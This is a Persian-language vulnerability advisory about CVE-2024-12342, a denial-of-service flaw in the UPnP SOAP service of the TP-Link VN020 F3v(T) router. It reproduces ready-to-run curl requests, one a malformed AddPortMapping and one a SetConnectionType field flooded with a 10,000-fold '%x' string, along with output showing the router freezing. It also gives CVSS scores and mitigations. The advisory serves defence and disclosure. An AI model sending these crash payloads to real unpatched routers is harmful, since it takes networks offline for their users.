خانه » آسیب پذیری اجتناب از ارائه سرویس (DoS) در TP-Link VN020 F3v(T)

آسیب پذیری اجتناب از ارائه سرویس (DoS) در TP-Link VN020 F3v(T)

توسط Vulnerbyte_Alerts
2 بازدید

چکیده

آسیب پذیری مربوط به نسخه TT_V6.2.1021 دستگاه TP-Link VN020 F3v(T)  می باشد که در دسته آسیب پذیری های بحرانی قرار می گیرد. این آسیب پذیری بر روی عملکرد فایل /control/WANIPConnection  مربوط به المان Incomplete SOAP Request Handler اثر می گذارد. دستکاری این فایل منجر به حمله اجتناب از سرویس خواهد شد. حمله تنها از طریق دسترسی به شبکه محلی امکان پذیر است اکسپلویتی در این زمینه ارائه نشده است.  توصیه شده است که از سیستم restrictive firewalling  یا همان فایروال با محدودیت بالا که کلیه ترافیک های ورودی را متوقف کرده و تنها ترافیک هایی که به طور مشخص اجازه عبور دارند را رد کند، استفاده کنید.

 

توضیحات

دو آسیب پذیری بحرانی در پیاده سازی UPnP روتر مدل VN020-F3(T)  برند TP-Link  یافت شده که به مهاجمان احراز هویت نشده این امکان را میدهد که عملیات شبکه را مختل کرده و با استفاده از تنها یک درخواست SOAP  معیوب بر روی  UPnP  روتر آسیب پذیر، منجر به تخریب حافظه دستگاه شوند. این آسیب پذیری در firmware  نسخه TT_V6.2.1021  که UPnP/1.0 BLR-TX4S/1.0 را اجرا می کند وجود دارد و برای اغلب ISP  ها از طریق دسترسی به شبکه محلی قابل فراخوانی است.

 

درخواست و پاسخ معتبر

curl -v -X POST “http://192.168.1.1:5431/control/WANIPConnection” \-H “Content-Type: text/xml” \-H “SOAPAction: \”urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\”” \-d ‘<?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”>  <s:Body>    <u:AddPortMapping xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>      <NewRemoteHost></NewRemoteHost>      <NewExternalPort>80</NewExternalPort>      <NewProtocol>TCP</NewProtocol>      <NewInternalPort>80</NewInternalPort>      <NewInternalClient>192.168.1.100</NewInternalClient>      <NewEnabled>1</NewEnabled>      <NewPortMappingDescription>NormalPayload</NewPortMappingDescription>      <NewLeaseDuration>0</NewLeaseDuration>    </u:AddPortMapping>  </s:Body></s:Envelope>’

 

پاسخ مورد انتظار

* Trying 192.168.1.1:5431…* Connected to 192.168.1.1 (192.168.1.1) port 5431> POST /control/WANIPConnection HTTP/1.1> Host: 192.168.1.1:5431> User-Agent: curl/8.8.0> Accept: */*> Content-Type: text/xml> SOAPAction: “urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping”> Content-Length: 602> * upload completely sent off: 602 bytes< HTTP/1.1 200 OK< Content-Type: text/xml; charset=”utf-8″< Connection: close< Content-Length: 298< Server: UPnP/1.0 BLR-TX4S/1.0< Ext:< <?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body>    <u:AddPortMappingResponse xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>    </u:AddPortMappingResponse>* Closing connection</s:Body></s:Envelope>

 

 

I )آنالیز دستور معیوب ( پارامتر مفقود)

curl -v -X POST “http://192.168.1.1:5431/control/WANIPConnection” \-H “Content-Type: text/xml” \-H “SOAPAction: \”urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\”” \-d ‘<?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”><s:Body><u:AddPortMapping><NewPortMappingDescription>hello</NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>’

 

  1. درخواست المان ها
  1. Method: POST
  2. Port: 5431
  3. Endpoint: /control/WANIPConnection
  4. Headers:
    1. Content-Type: text/xml
    2. SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
  1. آنالیز XML معیوب
  • اعلان های namespace مورد نیاز مفقود
  • پارامترهای AddPortMapping ناقص:
  • No NewRemoteHost
  • No NewExternalPort
  • No NewProtocol
  • No NewInternalPort
  • No NewInternalClient
  • No NewEnabled
  • No NewLeaseDuration
  • تنها شامل NewPortMappingDescription می شود (پارامتر اختیاری)
  1. در اینجا چه اتفاقی می افتد؟
  • روتر تلاش می کند ساختار ناقص SOAP را پردازش کند.
  • نبود فیلدهای الزامی احتمالا باعث فعال شدن فرآیند رسیدگی به خطای نادرست می شوند.
  • در نهایت این فرآیند به جای پاسخ درست به خطا منجر به کرش کردن سرویس می شود.
  1. پاسخ خطا

*   Trying 192.168.1.1:5431…* Connected to 192.168.1.1 (192.168.1.1) port 5431> POST /control/WANIPConnection HTTP/1.1> Host: 192.168.1.1:5431> User-Agent: curl/8.8.0> Accept: */*> Content-Type: text/xml> SOAPAction: “urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping”> Content-Length: 216> * upload completely sent off: 216 bytes [Router will crash and this stay frozen here]

 

  1. II) آنالیز دستور معیوب ( سرریز بافر یا تخریب حافظه)

 

دستور آسیب پذیر و رفتار آن

curl -v -X POST “http://192.168.1.1:5431/control/WANIPConnection” \     -H “Content-Type: text/xml” \     -H “SOAPAction: \”urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\”” \     -d ‘<?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”>  <s:Body>    <u:SetConnectionType xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>      <NewConnectionType>'”$(perl -e ‘print “%x” x 10000;’)”‘</NewConnectionType>    </u:SetConnectionType>  </s:Body></s:Envelope>’

 

 

  1. درخواست المان ها
  • Method: POST
  • Port: 5431
  • Endpoint: /control/WANIPConnection
  • Headers:
    • Content-Type: text/xml
    • SOAPAction: “urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType”
  • Payload:
  1. تزریق شده Payload:“%x” x 10000  within the <NewConnectionType>
  2. آنالیز payload
  • محتوای تزریق شده : “%x%x%x%x…%x” ( 1000 مرتبه)
  • هدف : پر کردن و غرق کردن فیلد <NewConnectionType> با یک رشته به شدت بلند و تکراری که از حدود بافر عبور کند.

 

رفتار مشاهده شده

یک درخواست معتبر برای بررسی ساختار SOAP  ارسال شد:

curl -v -X POST “http://192.168.1.1:5431/control/WANIPConnection” \     -H “Content-Type: text/xml” \     -H “SOAPAction: \”urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\”” \     -d ‘<?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”>  <s:Body>    <u:SetConnectionType xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>      <NewConnectionType>'”$(perl -e ‘print “%x” x 10;’)”‘</NewConnectionType>    </u:SetConnectionType>  </s:Body></s:Envelope>’

 

پاسخ :

*   Trying 192.168.1.1:5431…* Connected to 192.168.1.1 (192.168.1.1) port 5431> POST /control/WANIPConnection HTTP/1.1> Host: 192.168.1.1:5431> User-Agent: curl/8.8.0> Accept: */*> Content-Type: text/xml> SOAPAction: “urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType”> Content-Length: 299> * upload completely sent off: 299 bytes< HTTP/1.1 200 OK< Content-Type: text/xml; charset=”utf-8″< Connection: close< Content-Length: 304< Server: UPnP/1.0 BLR-TX4S/1.0< Ext:< <?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body>    <u:SetConnectionTypeResponse xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>    </u:SetConnectionTypeResponse>* Closing connection</s:Body></s:Envelope>

 

ارسال دستور معیوب :

curl -v -X POST “http://192.168.1.1:5431/control/WANIPConnection” \     -H “Content-Type: text/xml” \     -H “SOAPAction: \”urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\”” \     -d ‘<?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”>  <s:Body>    <u:SetConnectionType xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>      <NewConnectionType>'”$(perl -e ‘print “%x” x 10000;’)”‘</NewConnectionType>    </u:SetConnectionType>  </s:Body></s:Envelope>’

 

پاسخ :

*   Trying 192.168.1.1:5431…* Connected to 192.168.1.1 (192.168.1.1) port 5431> POST /control/WANIPConnection HTTP/1.1> Host: 192.168.1.1:5431> User-Agent: curl/8.8.0> Accept: */*> Content-Type: text/xml> SOAPAction: “urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType”> Content-Length: 20279> * upload completely sent off: 20279 bytes (Completely frozen here router crash)

 

سیستم امتیاز دهی آسیب پذیری ها بر اساس استاندارد های تحقیقاتی حوزه نمره دهی به آسیب پذیری ها، امتیازات زیر را برای شدت اثرگذاری این آسیب پذیری در نظر گرفته است.

 

Score Severity Version Vector String
7.1 HIGH 4.0 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
6.5 MEDIUM 3.1 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.5 MEDIUM 3.0 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.1 2.0 AV:A/AC:L/Au:N/C:N/I:N/A:C

 

 

 

محصولات آسیب پذیر

در زمان انتشار این اعلامیه، محصولات زیر در معرض این آسیب پذیری قرار دارند:

  • 2.1021

 

نرم افزار اصلاح شده

 

نسخه اصلاح شده ای برای این آسیب پذیری تا کنون ارائه نشده است. با این حال بنا به توصیه @Zephkek از کاربران GitHub که این آسیب پذیری توسط او گزارش شده است، اصلاحات موقتی برای جلوگیری از این آسیب پذیری وجود دارد :

  • در صورتی که نیاز به سرویس UPnP ندارید آن را غیر فعال کنید.
  • دسترسی خارجی به پورت 5431 را بلاک کنید.
  • فیلترینگ مبتنی بر شبکه بر روی درخواست های UPnP پیاده سازی کنید.

نتیجه گیری

آسیب پذیری فوق در دسته آسیب پذیری ها سطح بالا (High) دسته بندی می شود. به دلیل طبیعت انحصاری این firmware، جزئیات دقیق پیاده سازی داخلی آن ناشناخته است. آنالیز های ارائه شده بر اساس رفتار مشاهده و تست های black-box است.

 

منابع

  1. https://vulmon.com/vulnerabilitydetails?qid=CVE-2024-12342&sortby=bydate
  2. https://vuldb.com/?id.287261
  3. https://github.com/Zephkek/TP-WANPunch/blob/main/README.md
  4. https://cwe.mitre.org/data/definitions/404.html
  5. https://www.cve.org/CVERecord?id=CVE-2024-12342
  6. https://www.cvedetails.com/cve/CVE-2024-12342/

همچنین ممکن است دوست داشته باشید

پیام بگذارید